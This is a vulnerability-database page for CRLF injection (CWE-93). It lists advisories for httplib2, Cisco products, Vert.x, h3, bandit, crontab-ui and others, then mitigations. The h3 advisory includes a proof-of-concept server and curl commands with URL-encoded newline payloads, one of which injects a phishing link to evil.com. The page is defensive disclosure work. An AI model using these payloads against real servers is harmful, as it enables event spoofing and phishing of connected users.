Common Weakness Enumeration
CWE-93
AllowedImproper Neutralization of CRLF Sequences ('CRLF Injection')
Abstraction: Base · Status: Draft
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
386 vulnerabilities reference this CWE, most recent first.
CVE-2020-11078 (GCVE-0-2020-11078)
Vulnerability from cvelistv5 – Published: 2020-05-20 16:00 – Updated: 2024-08-04 11:21
VLAI
EPSS
VEX
Title
CRLF injection in httplib2
Summary
In httplib2 before version 0.18.0, an attacker controlling unescaped part of uri for `httplib2.Http.request()` could change request headers and body, send additional hidden requests to same server. This vulnerability impacts software that uses httplib2 with uri constructed by string concatenation, as opposed to proper urllib building with escaping. This has been fixed in 0.18.0.
Severity
6.8 (Medium)
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Assigner
References
11 references
| URL | Tags |
|---|---|
| https://github.com/httplib2/httplib2/security/adv… | x_refsource_CONFIRM |
| https://github.com/httplib2/httplib2/commit/a1457… | x_refsource_MISC |
| https://lists.apache.org/thread.html/rc9eff957294… | mailing-listx_refsource_MLIST |
| https://lists.debian.org/debian-lts-announce/2020… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r23711190c2e… | mailing-listx_refsource_MLIST |
| https://lists.fedoraproject.org/archives/list/pac… | vendor-advisoryx_refsource_FEDORA |
| https://lists.fedoraproject.org/archives/list/pac… | vendor-advisoryx_refsource_FEDORA |
| https://lists.apache.org/thread.html/r69a462e690b… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rad8872fc99f… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r7f364000066… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r4d35dac106f… | mailing-listx_refsource_MLIST |
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CVE-2020-3561 (GCVE-0-2020-3561)
Vulnerability from cvelistv5 – Published: 2020-10-21 18:41 – Updated: 2024-11-13 17:46
VLAI
EPSS
VEX
Title
Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software WebVPN CRLF Injection Vulnerability
Summary
A vulnerability in the Clientless SSL VPN (WebVPN) of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to inject arbitrary HTTP headers in the responses of the affected system. The vulnerability is due to improper input sanitization. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to conduct a CRLF injection attack, adding arbitrary HTTP headers in the responses of the system and redirecting the user to arbitrary websites.
Severity
4.7 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-11-13 17:22 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://tools.cisco.com/security/center/content/C… | vendor-advisoryx_refsource_CISCO |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Cisco | Cisco Adaptive Security Appliance (ASA) Software |
Affected:
n/a
|
Date Public
2020-10-21 00:00
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CVE-2020-3246 (GCVE-0-2020-3246)
Vulnerability from cvelistv5 – Published: 2020-05-06 16:41 – Updated: 2024-11-15 17:24
VLAI
EPSS
VEX
Title
Cisco Umbrella Carriage Return Line Feed Injection Vulnerability
Summary
A vulnerability in the web server of Cisco Umbrella could allow an unauthenticated, remote attacker to perform a carriage return line feed (CRLF) injection attack against a user of an affected service. The vulnerability is due to insufficient validation of user input. An attacker could exploit this vulnerability by persuading a user to access a crafted URL. A successful exploit could allow the attacker to inject arbitrary HTTP headers into valid HTTP responses sent to the browser of the user.
Severity
4.7 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-11-15 16:28 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://tools.cisco.com/security/center/content/C… | vendor-advisoryx_refsource_CISCO |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Cisco | Cisco Umbrella |
Affected:
n/a
|
Date Public
2020-05-06 00:00
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CVE-2019-15616 (GCVE-0-2019-15616)
Vulnerability from cvelistv5 – Published: 2020-02-04 19:08 – Updated: 2024-08-05 00:56
VLAI
EPSS
VEX
Summary
Dangling remote share attempts in Nextcloud 16 allow a DNS pollution when running long.
Severity
No CVSS data available.
CWE
- CWE-93 - CRLF Injection (CWE-93)
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://hackerone.com/reports/592864 | x_refsource_MISC |
| https://nextcloud.com/security/advisory/?id=NC-SA… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Nextcloud Server |
Affected:
17.0.0
|
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CVE-2018-12537 (GCVE-0-2018-12537)
Vulnerability from cvelistv5 – Published: 2018-08-14 19:00 – Updated: 2024-08-05 08:38
VLAI
EPSS
VEX
Summary
In Eclipse Vert.x version 3.0 to 3.5.1, the HttpServer response headers and HttpClient request headers do not filter carriage return and line feed characters from the header value. This allow unfiltered values to inject a new header in the client request or server response.
Severity
No CVSS data available.
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://github.com/eclipse/vert.x/commit/1bb64452… | x_refsource_CONFIRM |
| https://www.compass-security.com/fileadmin/Datein… | x_refsource_MISC |
| https://access.redhat.com/errata/RHSA-2018:2371 | vendor-advisoryx_refsource_REDHAT |
| https://github.com/eclipse/vert.x/issues/2470 | x_refsource_CONFIRM |
| https://bugs.eclipse.org/bugs/show_bug.cgi?id=536038 | x_refsource_CONFIRM |
| https://access.redhat.com/errata/RHSA-2018:3768 | vendor-advisoryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=1591072 | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| The Eclipse Foundation | Eclipse Vert.x |
Affected:
3.0 , < unspecified
(custom)
Affected: unspecified , ≤ 3.5.1 (custom) |
Date Public
2018-06-13 00:00
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CVE-2018-12477 (GCVE-0-2018-12477)
Vulnerability from cvelistv5 – Published: 2018-10-09 13:00 – Updated: 2024-09-16 20:32
VLAI
EPSS
VEX
Title
obs-service-refresh_patches can be tricked into deleting '..' or other unrelated directories
Summary
A Improper Neutralization of CRLF Sequences vulnerability in Open Build Service allows remote attackers to cause deletion of directories by tricking obs-service-refresh_patches to delete them. Affected releases are openSUSE Open Build Service: versions prior to d6244245dda5367767efc989446fe4b5e4609cce.
Severity
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://bugzilla.suse.com/show_bug.cgi?id=1108189 | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| openSUSE | Open Build Service |
Affected:
unspecified , < d6244245dda5367767efc989446fe4b5e4609cce
(custom)
|
Date Public
2018-09-26 00:00
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GHSA-22CC-P3C6-WPVM
Vulnerability from github – Published: 2026-03-18 16:17 – Updated: 2026-03-20 21:27
VLAI
Summary
h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields
Details
Summary
createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.
Details
The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:
export function formatEventStreamComment(comment: string): string {
return `: ${comment}\n\n`;
}
export function formatEventStreamMessage(message: EventStreamMessage): string {
let result = "";
if (message.id) {
result += `id: ${message.id}\n`;
}
if (message.event) {
result += `event: ${message.event}\n`;
}
if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
result += `retry: ${message.retry}\n`;
}
result += `data: ${message.data}\n\n`;
return result;
}
The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.
None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:
- Inject arbitrary SSE fields — break out of one field and add
event:,data:,id:, orretry:directives - Inject entirely new SSE events — using
\n\nto terminate the current event and start a new one - Manipulate reconnection behavior — inject
retry: 1to force aggressive reconnection (DoS) - Override Last-Event-ID — inject
id:to manipulate which events are replayed on reconnection
Injection via the event field
Intended wire format: Actual wire format (with \n injection):
event: message event: message
data: attacker: hey event: admin ← INJECTED
data: ALL_USERS_HACKED ← INJECTED
data: attacker: hey
The browser's EventSource API parses these as two separate events: one message event and one admin event.
Injection via the data field
Intended: Actual (with \n\n injection):
event: message event: message
data: bob: hi data: bob: hi
← event boundary
event: system ← INJECTED event
data: Reset: evil.com ← INJECTED data
Before exploit:
PoC
Vulnerable server (sse-server.ts)
A realistic chat/notification server that broadcasts user input via SSE:
import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";
const app = new H3();
const clients: any[] = [];
app.get("/events", (event) => {
const stream = createEventStream(event);
clients.push(stream);
stream.onClosed(() => {
clients.splice(clients.indexOf(stream), 1);
stream.close();
});
return stream.send();
});
app.get("/send", async (event) => {
const query = getQuery(event);
const user = query.user as string;
const msg = query.msg as string;
const type = (query.type as string) || "message";
for (const client of clients) {
await client.push({ event: type, data: `${user}: ${msg}` });
}
return { status: "sent" };
});
serve({ fetch: app.fetch });
Exploit
# 1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"
# 2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"
# 3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"
Raw wire format proving injection
event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit
The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker.
Proof:
Impact
An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.
Attack scenarios:
- Cross-user content injection — inject fake messages in chat applications
- Phishing — inject fake system notifications with malicious links
- Event spoofing — trigger client-side handlers for privileged event types (e.g.,
admin,system) - Reconnection DoS — inject
retry: 1to force all clients to reconnect every 1ms - Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection
This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
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"package": {
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"name": "h3"
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],
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"github_reviewed_at": "2026-03-18T16:17:43Z",
"nvd_published_at": "2026-03-20T10:16:19Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`createEventStream` in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in `formatEventStreamMessage()` and `formatEventStreamComment()`. An attacker who controls any part of an SSE message field (`id`, `event`, `data`, or comment) can inject arbitrary SSE events to connected clients.\n\n## Details\n\nThe vulnerability exists in `src/utils/internal/event-stream.ts`, lines [170](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L170)-[187](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L187):\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n return `: ${comment}\\n\\n`;\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n let result = \"\";\n if (message.id) {\n result += `id: ${message.id}\\n`;\n }\n if (message.event) {\n result += `event: ${message.event}\\n`;\n }\n if (typeof message.retry === \"number\" \u0026\u0026 Number.isInteger(message.retry)) {\n result += `retry: ${message.retry}\\n`;\n }\n result += `data: ${message.data}\\n\\n`;\n return result;\n}\n```\n\nThe SSE protocol (defined in the [WHATWG HTML spec](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation)) uses newline characters (`\\n`) as field delimiters and double newlines (`\\n\\n`) as event separators.\n\nNone of the fields (`id`, `event`, `data`, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains `\\n`, the SSE framing is broken, allowing an attacker to:\n\n1. **Inject arbitrary SSE fields** \u2014 break out of one field and add `event:`, `data:`, `id:`, or `retry:` directives\n2. **Inject entirely new SSE events** \u2014 using `\\n\\n` to terminate the current event and start a new one\n3. **Manipulate reconnection behavior** \u2014 inject `retry: 1` to force aggressive reconnection (DoS)\n4. **Override Last-Event-ID** \u2014 inject `id:` to manipulate which events are replayed on reconnection\n\n### Injection via the `event` field\n\n```\nIntended wire format: Actual wire format (with \\n injection):\n\nevent: message event: message\ndata: attacker: hey event: admin \u2190 INJECTED\n data: ALL_USERS_HACKED \u2190 INJECTED\n data: attacker: hey\n```\n\nThe browser\u0027s `EventSource` API parses these as two separate events: one `message` event and one `admin` event.\n\n### Injection via the `data` field\n\n```\nIntended: Actual (with \\n\\n injection):\n\nevent: message event: message\ndata: bob: hi data: bob: hi\n \u2190 event boundary\n event: system \u2190 INJECTED event\n data: Reset: evil.com \u2190 INJECTED data\n```\n\nBefore exploit:\n\u003cimg width=\"700\" height=\"61\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9\" /\u003e\n\n\u003cimg width=\"713\" height=\"228\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e\" /\u003e\n\n## PoC\n\n### Vulnerable server (`sse-server.ts`)\n\nA realistic chat/notification server that broadcasts user input via SSE:\n\n```typescript\nimport { H3, createEventStream, getQuery } from \"h3\";\nimport { serve } from \"h3/node\";\n\nconst app = new H3();\nconst clients: any[] = [];\n\napp.get(\"/events\", (event) =\u003e {\n const stream = createEventStream(event);\n clients.push(stream);\n stream.onClosed(() =\u003e {\n clients.splice(clients.indexOf(stream), 1);\n stream.close();\n });\n return stream.send();\n});\n\napp.get(\"/send\", async (event) =\u003e {\n const query = getQuery(event);\n const user = query.user as string;\n const msg = query.msg as string;\n const type = (query.type as string) || \"message\";\n\n for (const client of clients) {\n await client.push({ event: type, data: `${user}: ${msg}` });\n }\n\n return { status: \"sent\" };\n});\n\nserve({ fetch: app.fetch });\n```\n\n### Exploit\n\n```bash\n# 1. Inject fake \"admin\" event via event field\ncurl -s \"http://localhost:3000/send?user=attacker\u0026msg=hey\u0026type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down\"\n\n# 2. Inject separate phishing event via data field\ncurl -s \"http://localhost:3000/send?user=bob\u0026msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal\u0026type=message\"\n\n# 3. Inject retry directive for reconnection DoS\ncurl -s \"http://localhost:3000/send?user=x\u0026msg=test%0aretry:%201\u0026type=message\"\n```\n\n### Raw wire format proving injection\n\n```\nevent: message\nevent: admin\ndata: ALL_USERS_COMPROMISED\ndata: attacker: legit\n\n```\n\nThe browser\u0027s `EventSource` fires this as an `admin` event with data `ALL_USERS_COMPROMISED` \u2014 entirely controlled by the attacker.\n\nProof:\n\n\u003cimg width=\"856\" height=\"275\" alt=\"image\" src=\"https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec\" /\u003e\n\n\u003cimg width=\"950\" height=\"156\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab\" /\u003e\n\n\n## Impact\n\nAn attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.\n\n**Attack scenarios:**\n\n- **Cross-user content injection** \u2014 inject fake messages in chat applications\n- **Phishing** \u2014 inject fake system notifications with malicious links\n- **Event spoofing** \u2014 trigger client-side handlers for privileged event types (e.g., `admin`, `system`)\n- **Reconnection DoS** \u2014 inject `retry: 1` to force all clients to reconnect every 1ms\n- **Last-Event-ID manipulation** \u2014 override the event ID to cause event replay or skipping on reconnection\n\nThis is a framework-level vulnerability, not a developer misconfiguration \u2014 the framework\u0027s API accepts arbitrary strings but does not enforce the SSE protocol\u0027s invariant that field values must not contain newlines.",
"id": "GHSA-22cc-p3c6-wpvm",
"modified": "2026-03-20T21:27:39Z",
"published": "2026-03-18T16:17:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/h3js/h3/security/advisories/GHSA-22cc-p3c6-wpvm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33128"
},
{
"type": "WEB",
"url": "https://github.com/h3js/h3/commit/7791538e15ca22437307c06b78fa155bb73632a6"
},
{
"type": "PACKAGE",
"url": "https://github.com/h3js/h3"
},
{
"type": "WEB",
"url": "https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L170-L187"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields"
}
GHSA-23XX-X3PX-XXPJ
Vulnerability from github – Published: 2026-08-20 21:31 – Updated: 2026-08-20 21:31
VLAI
Details
Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in mtrudel bandit allows an unauthenticated remote attacker to smuggle CR, LF, or NUL characters into application-visible request headers via HTTP/2. Bandit.HTTP2.Stream.read_headers/1 validates pseudo-header placement and uniqueness, header-name casing, connection-specific headers, the te value, and content-length, but never checks field values. Because HPACK carries arbitrary octets, a HEADERS block whose field values contain \r, \n, or \0 decodes without error and the values land in conn.req_headers unchanged. The HTTP/1 path already rejects the same octets; HTTP/2 did not.
Bandit itself is not a sink for the injected bytes: its own logging uses fixed strings or inspect, and HTTP/2 response headers are HPACK-encoded and separately rejected by Plug's put_resp_header, so response splitting is not reachable through this path. The risk is entirely in how a downstream application consumes header values, such as appending one verbatim to a plain-text log or concatenating it into an upstream request. A related gap bundled in the same fix: only :method, :scheme, and :path were checked for at most one occurrence; a duplicate :authority pseudo-header was accepted, with the first instance silently winning as conn.host while a conflicting value remained visible to the application.
This issue affects bandit: from 1.4.0 before 1.12.5.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-75484"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-20T21:17:09Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027) vulnerability in mtrudel bandit allows an unauthenticated remote attacker to smuggle CR, LF, or NUL characters into application-visible request headers via HTTP/2. Bandit.HTTP2.Stream.read_headers/1 validates pseudo-header placement and uniqueness, header-name casing, connection-specific headers, the te value, and content-length, but never checks field values. Because HPACK carries arbitrary octets, a HEADERS block whose field values contain \\r, \\n, or \\0 decodes without error and the values land in conn.req_headers unchanged. The HTTP/1 path already rejects the same octets; HTTP/2 did not.\n\nBandit itself is not a sink for the injected bytes: its own logging uses fixed strings or inspect, and HTTP/2 response headers are HPACK-encoded and separately rejected by Plug\u0027s put_resp_header, so response splitting is not reachable through this path. The risk is entirely in how a downstream application consumes header values, such as appending one verbatim to a plain-text log or concatenating it into an upstream request. A related gap bundled in the same fix: only :method, :scheme, and :path were checked for at most one occurrence; a duplicate :authority pseudo-header was accepted, with the first instance silently winning as conn.host while a conflicting value remained visible to the application.\n\nThis issue affects bandit: from 1.4.0 before 1.12.5.",
"id": "GHSA-23xx-x3px-xxpj",
"modified": "2026-08-20T21:31:30Z",
"published": "2026-08-20T21:31:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-x3gh-xhj4-3vq8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75484"
},
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/commit/d38cf046c9a3cae4d0f88001c2ceb4143f86366b"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-75484.html"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-75484"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2443-9W48-793G
Vulnerability from github – Published: 2024-10-29 15:32 – Updated: 2024-10-29 15:32
VLAI
Details
lunary-ai/lunary v1.2.26 contains an email injection vulnerability in the Send email verification API (/v1/users/send-verification) and Sign up API (/auth/signup). An unauthenticated attacker can inject data into outgoing emails by bypassing the extractFirstName function using a different whitespace character (e.g., \xa0). This vulnerability can be exploited to conduct phishing attacks, damage the application's brand, cause legal and compliance issues, and result in financial impact due to unauthorized email usage.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-7472"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-75",
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-29T13:15:09Z",
"severity": "MODERATE"
},
"details": "lunary-ai/lunary v1.2.26 contains an email injection vulnerability in the Send email verification API (/v1/users/send-verification) and Sign up API (/auth/signup). An unauthenticated attacker can inject data into outgoing emails by bypassing the extractFirstName function using a different whitespace character (e.g., \\xa0). This vulnerability can be exploited to conduct phishing attacks, damage the application\u0027s brand, cause legal and compliance issues, and result in financial impact due to unauthorized email usage.",
"id": "GHSA-2443-9w48-793g",
"modified": "2024-10-29T15:32:05Z",
"published": "2024-10-29T15:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7472"
},
{
"type": "WEB",
"url": "https://github.com/lunary-ai/lunary/commit/a39837d7c49936a0c435d241f37ca2ea7904d2cd"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/dc1feec6-1efb-4538-9b56-ab25deb80948"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-25QX-69JJ-JFCJ
Vulnerability from github – Published: 2026-08-10 12:31 – Updated: 2026-08-10 12:31
VLAI
Details
An OS command injection vulnerability in alseambusher/crontab-ui through 0.4.2 allows an unauthenticated remote attacker to inject arbitrary cron job entries by sending a crafted GET request to /crontab with URL-encoded newlines in the env_vars parameter.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-72590"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-10T11:17:32Z",
"severity": "CRITICAL"
},
"details": "An OS command injection vulnerability in alseambusher/crontab-ui through 0.4.2 allows an unauthenticated remote attacker to inject arbitrary cron job entries by sending a crafted GET request to /crontab with URL-encoded newlines in the env_vars parameter.",
"id": "GHSA-25qx-69jj-jfcj",
"modified": "2026-08-10T12:31:53Z",
"published": "2026-08-10T12:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72590"
},
{
"type": "WEB",
"url": "https://github.com/alseambusher/crontab-ui"
},
{
"type": "WEB",
"url": "https://github.com/alseambusher/crontab-ui/blob/master/app.js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Implementation
Avoid using CRLF as a special sequence.
Mitigation
Implementation
Appropriately filter or quote CRLF sequences in user-controlled input.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.